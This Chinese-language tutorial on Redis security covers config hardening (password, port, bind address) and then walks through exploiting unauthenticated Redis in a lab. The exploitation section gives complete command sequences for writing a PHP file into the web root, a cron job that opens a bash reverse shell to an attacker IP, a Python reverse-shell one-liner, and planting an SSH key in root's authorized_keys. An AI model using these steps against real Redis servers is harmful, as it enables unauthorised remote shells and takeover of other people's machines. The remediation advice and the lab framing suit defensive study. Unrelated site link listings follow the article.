Redis配置及攻击利用

Redis及其安全配置

Redis介绍

redis默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器;redis可以被外部用户每秒尝试150k次密码,这意味着需要高强度的密码;极度BT的可能会重命名redis中的config命令...

Redis常用命令

redis-cli -h 目标IP -p 指定端口 连接redis
FLUASHALL 清除数据库
auth password 使用password登录
save 更新rdb缓存
info 查看版本、服务器信息
set x "Zh1z3ven" 将x键值设为Zh1z3ven
get x 获取key为x的值
KEYS * 查看所有键
CONFIG GET dir 获取默认redis dir
CONFIG GET dbfilename 获取rdb文件名
CONFIG SET dir 重设dir路径
CONFIG SET dbfilename 重设rdb文件名

Redis配置文件&安全设置

主要分为设置访问密码,修改默认端口,绑定ip。

//设置访问密码
#
# requirepass foobared //设置默认port
# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
port 6379 //设置绑定IP
# By default Redis listens for connections from all the network interfaces
# available on the server. It is possible to listen to just one or multiple
# interfaces using the "bind" configuration directive, followed by one or
# more IP addresses
#
# Examples:
#
# bind 192.168.1.100 10.0.0.1
# bind 127.0.0.1
0x01 开启密码访问设置
#
requirepass 123456

此时通过未授权的方式无法正常登录

使用密码登录的两种姿势

# 0x01
redis-cli -h 192.168.124.153 -p 6380
ip:port>auth password # 0x02
redis-cli -h 192.168.124.153 -p 6380 -a password
0x02 修改默认端口

默认绑定在6379 可以在配置文件redis.cong中修改

修改为6380,重启redis

# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
port 6380

0x03 修改绑定IP

在这里通常会有一个认知误区,就是这个绑定IP不是绑定外来访问的地址(比如公网ip或同段内网ip)而是绑定自己服务器允许作为与外部进行连接的ip地址比如环回ip,内网ip,外网ip;绑定0.0.0.0的话就是绑定自己服务器全部的ip,那绑定自己外网ip和0.0.0.0是没什么区别的,在没有高强度密码保护的情况下很不安全。

绑定回环ip

回环ip可连接,同段ip已无法访问

设置绑定内网ip

ps:如果想要确保redis安全,还是需要高强度密码+合适的bind ip且最好不要暴露在外网

redis的攻击利用

写入webshell

前提条件

1.可连接redis(未授权或弱口令)并执行redis指令
2.开了web服务器,并且知道路径,还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

利用过程

注意写入webshell的时候在一句话两边加上/r/n的换行符,因为用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

192.168.124.153:6379> config set dir /var/www/html
OK
192.168.124.153:6379> config set dbfilename shell.php
OK
192.168.124.153:6379> set webshell "\r\n\r\n<?php phpinfo() ?>/r/n/r/n"
OK
192.168.124.153:6379>

观察靶机已成功写入

利用计划任务反弹shell

反弹shell还是要根据实际情况来,比如ubuntu和centos反弹的命令会有区别,一般是因为sh软链接指向的是dash还是bash,一般反弹shell是bash,而dash的shell只有运行脚本的能力没有交互能力所以反弹ubuntu的shell可能需要换脚本.

参考文章:https://blog.csdn.net/sdb5858874/article/details/81837440

攻击机监听端口

nc -lvvp 22222

redis写入反弹shell的计划任务

每分钟反弹一次shell

192.168.124.153:6379> set xxx "\r\n\r\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.124.141/22222 0>&1\n\r\n\r"
OK
192.168.124.153:6379> config set dir /var/spool/cron
OK
192.168.124.153:6379> config set dbfilename root
OK
192.168.124.153:6379> save
OK
192.168.124.153:6379>

python版本

*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

导入ssh私钥远程登录

当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

利用过程

生成ssh私钥

root@kali:~/.ssh# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:4VEO6Gjtb4l0aSNyPFzhNzjXwLJ2g8x2/JoP27KVpuM root@kali
The key's randomart image is:
+---[RSA 3072]----+
| .... |
| . o+o |
| + +oB.o |
| o o.%oO . |
| . + +SB + |
| . O = .. |
| + B o.o+ |
| . + =B |
| . .E=o |
+----[SHA256]-----+
root@kali:~/.ssh# ls
1.txt id_rsa id_rsa.bak id_rsa.pub known_hosts

将新生成的id_rsa保存在redis.txt文件中

root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redis.txt
root@kali:~/.ssh# ls
1.txt id_rsa id_rsa.bak id_rsa.pub known_hosts redis.txt

将保存的redis.txt写入redis

cat ~/.ssh/redis.txt | redis-cli -h 192.168.124.153 -p 6380 -a 123456 -x set crack

登录redis查看私钥是否写入,并将路径改为/root/.ssh

192.168.124.153:6380> flushall
OK
192.168.124.153:6380> config set dir /home/root/.ssh
OK
192.168.124.153:6380> config set dbfilename authorized_keys
OK
192.168.124.153:6380> cat redis.txt | redis-cli -h 192.168.124.153 -x set crack
(error) ERR unknown command 'cat'
192.168.124.153:6380> get crack
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB6GBUIZ5ftcFpS4Twkk9NTsp77/uZZDMRomxAF66aCux2QOL/0WAuZXZho62lxJVI0AL+MSkbcJznsyR/ZONTDzKHu6hXaq6IohWQ78dvOLcGmPUqUVptn0Ed5Bx4VGk2o6yKoSTWVzfgzRWgGsodA4e8lGNAz+cdM9I6ot+l4quiGD6AgrepSRmQBCbPEyVyVAZtYOqSieVXyFGtIr26C3uutemyzYtG9hVSjdcNNFGNRa3ZOn0W2zRirQh+PI4/lZGP2rT8Dilh1qv2ntlXZ0F8Dh/wAxTR1CquhUst9V89ilbOW/tPDg4oDTqL3H9uuyajhQw/nl8uqAmcKGDsoUUSBg+DUnXEFLgQqvsmwFC5LkV1hF4+JGiYgFPb2wd7x0+eRnCC7s7QaodFXqlYmcdqQK6rDTUMVVx3n9uZ2asemYYr6V1lpFW17QMwh1lBNwHGTl8xRiE4DQXp0Bpk2/jYF+5CP2k1Dwz0Fd+rNYH8/hACf1/8ZFjj1IJ+MRk= root@kali\n\n\n\n"
192.168.124.153:6380> save
OK

ssh

ssh -i id_rsa root@192.168.124.153

修复建议

1、设置bind ip

2、开启访问密码认证

3、修改默认端口

4、做好acl访问控制,redis服务不要暴露在外网

Redis配置及攻击利用的更多相关文章

  1. 转:中间人攻击利用框架bettercap测试

    0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...

  2. redis 配置应用(摘)

    Redis可以在没有配置文件的情况下通过内置的配置来启动,但是这种启动方式只适用于开发和测试. 合理的配置Redis的方式是提供一个Redis配置文件,这个文件通常叫做redis.conf. redi ...

  3. CentOS6.5下Tomcat7 Nginx Redis配置步骤

    所有配置均在一台机器上完成,部署拓扑信息如下: 注意:由于Redis配置对jar包和tomcat版本比较严格,请务必使用tomcat7和本文中提供的jar包.下载地址: http://pan.baid ...

  4. Redis配置参数详解

    Redis配置参数详解 /********************************* GENERAL *********************************/ // 是否作为守护进 ...

  5. Redis配置不当致使root被提权漏洞

    Redis配置不当致使root被提权漏洞 Dear all~ 最近Redis服务被曝出因配置不当,可能造成数据库被恶意清空,或被黑客利用写入后门文件造成进一步入侵,请关注! 一.漏洞发布日期 2015 ...

  6. 中间人攻击利用框架bettercap测试

    0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...

  7. Linux下中间人攻击利用框架bettercap测试

    0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 ...

  8. redis配置参数简介

    redis配置查看方式: 1.redis的安装目录查看redis.conf 2.登陆redis客户端,使用 config get xx命令. 比如:查看所有的配置: config get * [roo ...

  9. Redis配置讲解及实战

    前言 Redis是一个开源的内存k-v数据库,同时也可用作缓存,消息队列.支持多种数据类型,如字符串,列表,字典,集合,有序集合. 演示环境 $ uname -a Darwin Darwin Kern ...

随机推荐

  1. 输出 time 命令的结果到文件中

    译至:http://unicus.jp/skmk/archives/338 由于输出 time 命令的结果到文件时使用的错误的方式,所以将其记录下来. 环境是bash. 目标 将运行的a.out程序的 ...

  2. TestComplete 64位和32位之间的区别

    在64位系统上,有两种版本的TestComplete:32位和64位.本主题描述了TestComplete x64及其32位版本之间的区别.关于TestComplete x64启动TestComple ...

  3. hugo + nginx 搭建博客记录

    作为一个萌新Gopher,经常逛网站能看到那种极简的博客,引入眼帘的不是花里胡哨的图片和样式,而是黑白搭配,简简单单的文章标题,这种风格很吸引我.正好看到煎鱼佬也在用这种风格的博客,于是卸载了我的wo ...

  4. 浅谈C++11中的多线程(一)

    摘要 本篇文章围绕以下几个问题展开: 进程和线程的区别 何为并发?C++中如何解决并发问题?C++中多线程的基本操作 同步互斥原理以及多进程和多线程中实现同步互斥的两种方法 Qt中的多线程应用 c++ ...

  5. 记两道最近做的pwn题(ciscn_2019)

    这两题为什么要记录呢,一个是我发现网上很多教程没写清楚(也可能是我太菜了),二是细节点很多,不同的大佬方式不太一样,有很多细节需要注意 ciscn_2019_es_2 这题是栈迁移的题,先上exp 1 ...

  6. ARC 122 简要题解

    ARC 122 简要题解 传送门 A - Many Formulae 考虑对于每个数分别算其贡献. 通过枚举该数前面的符号,借助一个非常简单的 \(\mathrm{DP}\)(\(f_{i,0/1}\ ...

  7. PYTHON UNRAR

    下载安装VINRAR 安装上面的下载文件 安装位置:32位具体位置 C:\Program Files (x86)\UnrarDLL      64位具体位置:C:\Program Files (x86 ...

  8. vue3 封装简单的 tabs 切换组件

    背景:公司项目要求全部换成 vue3 ,而且也没有应用像 element-ui 一类的UI组件,用到的公共组件都是根据项目需求封装的,下面是使用vue3实现简单的tabs组件,我只是把代码分享出来,实 ...

  9. shell脚本(3)-格式化输出

    一个程序需要有0个或以上的输入,一个或更多输出 一.echo语法 1.功能:将内容输出到默认显示设备. echo命令功能在显示器上显示一段文字,一般提到提示的作用 2.语法:echo[-ne][字符串 ...

  10. 【剑指offer】77.调整数组顺序使奇数位于偶数前面

    77.调整数组顺序使奇数位于偶数前面 知识点:数组:快速排序:冒泡排序: 题目描述 输入一个整数数组,实现一个函数来调整该数组中数字的顺序,使得所有的奇数位于数组的前半部分,所有的偶数位于数组的后半部 ...